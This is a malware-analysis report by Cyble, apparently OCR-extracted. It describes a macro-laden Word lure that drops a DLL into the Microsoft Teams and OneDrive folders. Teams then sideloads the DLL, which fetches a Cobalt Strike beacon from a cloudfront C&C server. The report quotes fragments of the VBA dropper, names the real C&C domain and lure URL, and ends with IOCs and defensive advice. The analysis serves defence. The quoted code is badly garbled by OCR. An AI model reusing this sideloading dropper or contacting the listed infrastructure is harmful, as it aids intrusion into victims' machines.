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Cyble Analyzes how Threat Actors are leveraging Microsoft applications and DLL Sideloading to deliver Cobalt

Strike Beacons

Threat Actors Leveraging Microsoft Applications to Deliver Cobalt-Strike Beacons

DLL (Dynamic-Link Library) sideloading is a technique used by Threat Actors to infect users using legitimate
applications which load malicious DLL files that spoof legitimate ones. Recently Cyble Research Labs published a

blog about Qakbot malware that leverages a calculator to perform DLL Sideloading.

Similarly, we came across a Twitter post wherein researchers mentioned a document file that performs DLL
Sideloading using Microsoft applications such as “Teams.exe” and “OneDrive.exe.” The dropped DLL contains

the C&C URL through which the malware can deliver a Cobalt-Strike beacon.
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Cobalt Strike is a penetration testing product that allows Threat Actors (TAs) to deploy an agent named ‘Beacon’
on the victim machine. The Beacon provides various functionalities to TAs, including command execution, key

logging, file transfer, SOCKS proxying, privilege escalation, mimikatz, port scanning, and lateral movement.

Several TAs are actively using this tool, from ransomware operators to espionage-focused Advanced Persistent

Threats (APTs).

Upon analyzing the malicious doc file, we observed that it was targeting a company located in Italy that provides
services such as Credit Servicing, Fund and Asset Management, and Real Estate services. The below figure shows

the malicious document file content.
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| SECURITY WARNING Macros have been disabled. Enable Content x

Modulo Testimone Universitario

Caricamento modulo... questa operazione potrebbe richiedere alcuni secondi.

Seleziona il tasto “Abilita” siuato nella barra gialla per scaricare I'ultima versione del modulo.

Figure 1 — Document with Macro Content
Technical Analysis

When opening the malicious document, it shows a security warning stating that macros have been disabled. The
malware then requests the user to enable the content. Once enabled, the malicious document runs the macro code

automatically in the background using the AutoOpen() function.
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Figure 2 — AutoOpen() function in Macro

The malware then calls the function process(), which identifies the path of the OneDrive and Teams applications.
The below figure shows the VBA macro code with the base64 decoded path of the OneDrive and Teams

applications.
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Dim nbr As Integer
Dim strfe As S5tring
Dim strnf As String

Dim proc As String LOCALAPPDATA, \WMicrosoft\OneDrive\OneDrive.exe

strnf = Environ (BasecdDecode|("TESDQUXBUFBEQVRE")|) & Ee.sec."]D-&CC-C\EI{"XELDYSJ'J'CZBdexE'bm'\"ECll’.lZ Z‘!)chm\-"EcJ:lZZSileGil:"]I

strfe Dir (strnf)

ticrosoft\OneDrive
If Not strfe = "" Then
proc = ':\aseFADec:o::14("XEE;‘.{SJVGEﬁmdePbm‘;'EmJ.EZQ=="}l
EnableContent (procy)
End If

\Microsoft OneDrive\OneDrive.exe

strnf = Environ (Baseé4Decode ("TESDQUxBUFBEQVREB")) & Ba.seé‘lbéc-:;d.eh'xi'.p‘.fs.:vczsmdcapbm\ficmlzz‘.fomeEcmlzzssleSU="] I

strfe = Dir(strnf)
\Microsoft OneDrive
If Not strfe = "" Then
proc = E.s.seﬁiDecode’["'XE;;—‘L'SCVCEEdeSPm\EcniEZQ""}|
EnableContent (proc)
End If

\Microsoft\Teams\current\teams.exe

strnf = Environ (Baseé4Decode ("TE9DQUxBUFBEQVRE")) & Baseo"lcecodel{"xﬂip‘x’s:'/:QS-n'.dE‘xUZHF\:clxjdeyzk‘EGxHRJ.‘m‘.z’.:r.VQZG==")I
strfe = Dir(stznf)
If Not strfe = "" Then

proc = Ba.!et','lDeco:lq("XElph’3Jvc2Sﬂr.::lFxTJZh‘Etc'_xjd.XJ}'Z"JSD"}I

EnableContent (procy
End If

Wicrosoft\Teams\current

End Sub

Figure 3 — Path identification to Drop DLL file

In the event that any of the application’s paths are identified by the malicious document, the malware drops a DLL
file in that path with the name cache-XJDNSJWPFHD.tmp and renames it as iphlpapi.dll by calling the

EnableContent() function as shown below.

D = GetParagraphl()
Open dllPa or Binary As #1 rop DLL binary f
Fut L, o BO)

Close $#1

Dim stat - » fnzst, fncst, etds As String .
stat = de ("TESDQUXBUFBEQVRB®) e
etds = Bas Xw T XBpLuRabi==") o

flnp = BaseédDecode ("
faxst = stat L Baseéd
fazst = stat & BaseddDecode ("XElL
fncst = stat [ BaseddDecode ("XElp
L If (Wot Dir(fnxst) = ") Then

Mame fnxst As stat L BaseédDecode ("XEIpYiJvclimdFxPbaVEcml2IQ==") L etds
=) Th

B Y

at As stat & BaseédDecode ("XElpYiJvelimdCBFbaVEcml3Z(==") & etds

€ DIr(fazst) = "v) Then ]
£nzat Al atat ¢ BaseéiDecode ("XEIpVIJvelfmaFxUINFrclx]dXJyaWio™) & etda

| Vaive | Type | Context

BytelD to 432127) Tralocument EnatieContent
“C Wners i ianeienApcOete'L ccalldicrose MTeamsicurmenficache-JUDNSIWPFHD tmg* String ThaDocument EnableContent
“wphlpaps 4" Strng Tralocument £rabieontent
“cache-JXUDNSIWPFHD tmp” VarantSiing ThaDocument EnabieContent
“CUseryis s A pODLL ol icross MTeamy\currenfcache- IDNSIWPFHD tmg” VarantSing ThaDocument EnabieContent
O Waer Ve o=, VarantSing Tralocument EnabieContent
"C L sery S—— pe Ot ccalilicrons ST eams\Curreniteans. axe” Streg ThaDocument Process

422KB  TMP File

Figure 4 — Drops DLL File

The document file contains an embedded DLL file in reversed Base64 encoded format. The malware then calls the
GetParagraph() function, which gets the Base64 encoded strings and performs the StrReverse and Base64Decode

operations to drop the malicious DLL file in the location where the OneDrive and Team applications are present.
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Y d = GetWP()
=3 For i = 0 To UBound(d)
|dii) = ScrReverse(d(i))]
Hext 1
s = Join(d(), "™}
GetParagraph =|St,rC0:av{BaseG‘!Decode (=), varomUnicode}I
End Function
!
Watches
Expression Value v] Context

- = to 451) ThisDocument.GetParagraph
G\U; - iy LYY NYNNA iy ¥\ A iy YN YN YYYYN AN iy A AN YN YNYNN AAAMN _Stmg ThlsDncumnl.Ge‘ParanDﬂ
d{1) “AAgdQI0ADSERNZISAQQLEXRIBAANEBUBBAAZIKEAEGTWIYIIBABHUFNEAACSE4GEAAY nwoDQAEDVINEADAUTY String ThisDocument. GetParagraph
di2) “AMQghuYjIBAAYdINEAMASQUZ|IBAANEBUBBWACLGSINEAAIHBeDWAADNNEAACSEAGEADSVEL2ISAA W CIgOADRID String ThisDecument. GetParagraph
di(3) “NvToQCA)y0/PmojH 01 MirXjIBDJOIMbPDOkwXGNEWISF QEPISZkoZbPDAAAQNE+gOFEgHA WV 4uhd/Si+3DSxviSovy String ThisDecument. GetParagraph
di4) “kKQViIhBJEIMgQCTIYESE kw 0iMhBJENTQQCVLECKw 0ihCxDilin fBoDAAAEAGGAISBEAAAGCEMSWUHWFIEAGEGEF String ThisDecument. GetParagraph
di5) "BMSWUHwWFEAGAFNFsISow +ghAJMISQACVIEGKQUIMBCIMITe/PSgQCTLYEGKQOMBBIUNSIQCTLEKEPIS/fVEChO2 String ThisDecument. GetParagraph
d(B) "LEEKEPIS/fVBGhOAAADAAaOQgACL SAAAANEEXZRAANISAY gWhXwilhCTDECkwUIBBIUISY QCRIYEkw UM B+MBCIM String ThisDecument. GetParagraph

Figure 5 — StrReverse and Base64Decode Operations to get DLL

The below figure shows the malicious DLL file dropped in the Teams and OneDrive locations.

Local Micre Teams curmrent

VPFHD.tmp

Figure 6 — Dropped DLL Files Present in MS App Installation Folders

Upon execution of the Teams application, the dropped malicious DLL file (“iphlpapi.dll”) is sideloaded, as shown

below.
. o patm oy 1
“AppData'\Local Microsoli\ Teams'\current \dbghelp dil NAME NOT FOUND
ppUsta'Local\Microsoft| T eams'\cument \phipacd d SUCCESS
Teams'cument \iphipapi dl SUCCESS
14205 CloseFie C:\Users\ IS \App Data'\Local\Microsoft \ Teams '\ curent \phipapi dl SUCCESS
1420 = CreateFle T sers e s Aoo Uata Local WBCroson « | eams wurrert LiViie NAME NOT FOUND
Teams exe 1420] = CreateFle T\ pery S it A Dlata \Local \ Microsoft\ Teams \curment \phipaps SUCCESS
Teams exe 1420 = CreateFiebMapping C:\Users' s maman ' Aop Data \Local \ Microsoft\ Teams \cument \iphipaps FILE LOCKED WITH ONLY READERS
Teams exe 1420 AR Gystem ComertContral Sel Cortral REPARSE
Teams exe 1420 [ RegOpeniey HKLM\System\Cument Conirol Set \Control\C1 SUCCESS
Teams exe 1420 [ RegOuenyValue HKLM"System'CumentControl Set \Control\CT" Disable 26178932 NAME NOT FOUND
Teams exe 1420 [ RegCloseKey HKLM\System Curment ControlSet\Control CI el SUCCESS
Teams exe 1420 [ RegOpeniGey HKLM\System' Cument Control Set\Control'Cl o REPARSE
Teams exe 1420 [ RegOpeniey HKLM \System'\CumentControl Set \Contral\Cl SUCCESS
Teams exe 1420 [ RegQuenyValue HKLMSystem\CumentCi grol Set \Control \CI'\ Disable 26178932 NAME NOT FOUND
Teams exe 1420 B HKLM\System\Cument Control Set \Contro\Cl SUCCESS
Teams exe 14 T \WUpers Bt A Dlata \Local \ Microsoft '\ Teams \current phipaps ol SUCCESS
 Teams exe 14 C\Users\ BEmmun e\ App Data \Local\Microsoft\ Teams \cument iphipapi il SUCCESS
i Teams exe 14, L C \Users' S dionssmmm Data'\Local\Microsoft'\ Teams \curment \iphi - | SUCCESS
-
Teams.exe 388 60.35MB DESKTOLL s iumm  Microsoft Teams
i Teams.exe 60 .
8 Find Handles or DLLs
ﬁ Teams.exe 4243 ProcExp
N I oot o ot pioon )
G Teams.exe 360
i@ Teams.exe 6888 Process ! Type Fame
i Teams.exe 3424 Teams.exe (60) DL C:\isars s \AppDatal| ocal Microsoft{Teams \aurrentliphipapi,di
Teams.exe (360) =18 C:\Wsers\m—wmmmm \ippData.ocal Mg osoft Teams yaurrent yiphipapi. di
Teams.exe (338) DL C:\Users\mwramee \AppData \Local Microsoft \Teams \asrent iphipapi.di
Teams.exe (924) [ 18 C:\Users\mrammeee \AppData \Local Microsoft\Teams \aurent iphipapi.di
i | | Teams.exe (3424) o C:\Users'\ s \AppData \Local Microso ft {Teams \aurrent iphipapi.di
) Usage: 6.02%  Physical memory: 2.94 GB (3 Teams.exe (4243) DLL C:\Wsers P \AppData Y ocal Microsoft \Teams \ourrent Yiphipaps. il
Teams.exe (6853) Dw C: \Lisers\Pasmsmanatien \ApoData | ocal Microsoft [Teams \current iphipapi. dil

Figure 7 — DLL Sideloading in Microsoft Teams App
Payload Analysis

The below figure shows the code of sideloaded DLL malware, which creates a mutex with the name

“MSTeams.Synchronization.Primitive.2.0" to avoid running another instance on the same machine. The malware
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then communicates to the C&C server using the below URL: d2xigbm2a8wmm4.cloudfront[.]net/communications.

Figure 8 — Creates Mutex and Connects to C&C server

While monitoring the malware’s traffic, we observed the C&C communication with the same URL mentioned

above.
Mo, Source Destnabon Protocol  Length Host Infa
18 52.84.6.32 TR I 1376 = 8@ [SYN] Sequd Win=6S535 Lens MSS=1460 WS=256 SACK_PEAMa1
11 52.84.6.32 .09t TCP L] 88 = 1376 [SYN, ACK] Seqe@ Ackel Win=64248 Len=@ M55-1460
12 - 52.84.6.32 Tcp 54 1376 = 58 [ACK] Segel Acke] Win=65535 Len=2
13 e e 52.84.6.32 HTTR 296 [d2xi gSm2aBumma . c loudfront .met GET /communications WTTP/1.1
14 52.84.6.32 = a - TCP 68 88 =+ 1376 [ACK] Seqel Ack=243 Wine£4248 Lens=@
15 52.84.6.32 = | HTTP 1358 HTTP/1.1 582 Bad Gateway (tex 1)
16 - Tcp 54 1376 - B8 [ACK] Seqe243 Ack=1385
17 i TCP 54 Ml Wineshak - Follow TCP Streamn (tcp.stream g 1) - Ethernet
;-m .
1 [GET /ccmmunications HTTP/1.3]
Frame 13: 206 bytes on wire (2368 bits), 296 bytes captured (2358 bits) on if |User-Agent: Mozilla/5.8 {Windows WT 10.9; Winé4; x64) Applewebkit/537.36 (KHTML, like Gecko) Elect
Ethernet II, Sre: VMware_ed:5b:df (89:8c:29:ed:Sh:d8), Dst: \Mware_es:e5:38 |
Internet Protocol Version 4, Src: 3. Dst: 52.84.6.32 | [Connection: Kegp-Alive

Cache-Control: no-cache

Transmissdon Control Protocol, Src Port: 1376, Dst Port: 89, Seq: 1, Ack: 1,|
v
Hypertext Transfer Protocel |HTTRi1.1 502 Bad oo
GET fcomsunications HTTP/1.1\r\n |Content=Type: text/html
User-Agent: Mozilla/s.@ (Windows WT 18.9; Wings4; x64) Applewebkit/S37.36 { |Content-Length: 951

Host: d2xiqSelabwesd.cloudfront.net'rin Connection: keep-alive

Connection: Keep-Aliwe\rin Server: CloudFront

Cache-Cantrol: na-cache\rin Date: Mon, 25 Jul 2022 14:38:56 GMT

ek |x-€ache: Error from cloudfroat

fEul — CYTPRVIEFEH e, - —r—— |via: 1.1 b90eSec8ddas3acT2221106322969308 . cloudfront. net (CloudFront)

X-Amz-Cf-Pop: MAASL-C2

[MTTP request 1/1] | X-Amz-CF-Td: wvnHCOICBOWEGEIL18vpSVhAruLo410-HYHY_SaelnbiKILnEaNA==

[Response in frame: 15]

Figure 9 — Traffic Interception

After analysing the C&C URL: d2xig5m2a8wmm4.cloudfront[.]net/communications, we concluded that it

executes a Cobalt-Strike on the victim’s machine.

The Cobalt-Strike Beacon can be used for malicious activities such as downloading additional payloads, lateral

I’l’lOVEHlEHt, etc.
Conclusion

TAs are adopting various sophisticated techniques to deploy malware. In this particular case, we observed how
TAs are using Microsoft apps such as Teams and OneDrive to sideload a malicious library file that can deploy the
Cobalt Strike Beacon.

Cyble Research Labs continuously monitors all new and existing malware to keep our readers aware and informed.
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Our Recommendations

We have listed some essential cybersecurity best practices that create the first line of control against attackers. We

recommend that our readers follow the best practices given below:

» Avoid downloading files from unknown websites.

¢ Use a reputed anti-virus and internet security software package on your connected devices, including PC,

laptop, and mobile.

¢ Refrain from opening untrusted links, email attachments, or unknown document files without verifying

their authenticity.

» Educate employees in terms of protecting themselves from threats like phishing’s/untrusted URLs.

¢ Monitor the beacon on the network level to block data exfiltration by malware or TAs.

¢ Enable Data Loss Prevention (DLP) Solution on the employees’ systems.

MITRE ATT&CK® Techniques

Tactic Technique ID Technique Name
Execution 11204 User Execution
T1140 Deobfuscate/Decode Files or Information
Defense Evasion T1574 Hijack Execution Flow: DLL Side-Loading
T1564 Hide Artifacts: VBA Stomping
Command and Control T1071 Application Layer Protocol

Indicators of Compromise (I0OCs)

Indicators

697ac31e2336c340e46ae8a777f51cdb
91bd5585383685b82af8e801ce8{43586a797f49
92e7395073c6588e1d8172148525144189c¢3d92ed052a163b8f7fad231e7864c

6e1e6194dd00£f88638d03db3f74bb48a
d4a3050246d30a26671d05b90ffal7de39d5e842
ee56e43ed64e90d41ea22435baf89e97e9238d8e670fc7ed3a2971b41ceSffaf

d2xig5m2a8wmm4.cloudfront.net

hxxps://laureati-

prelios.azureedgel.]net/forms/Modulo_Testimone_Universitario_v3.doc
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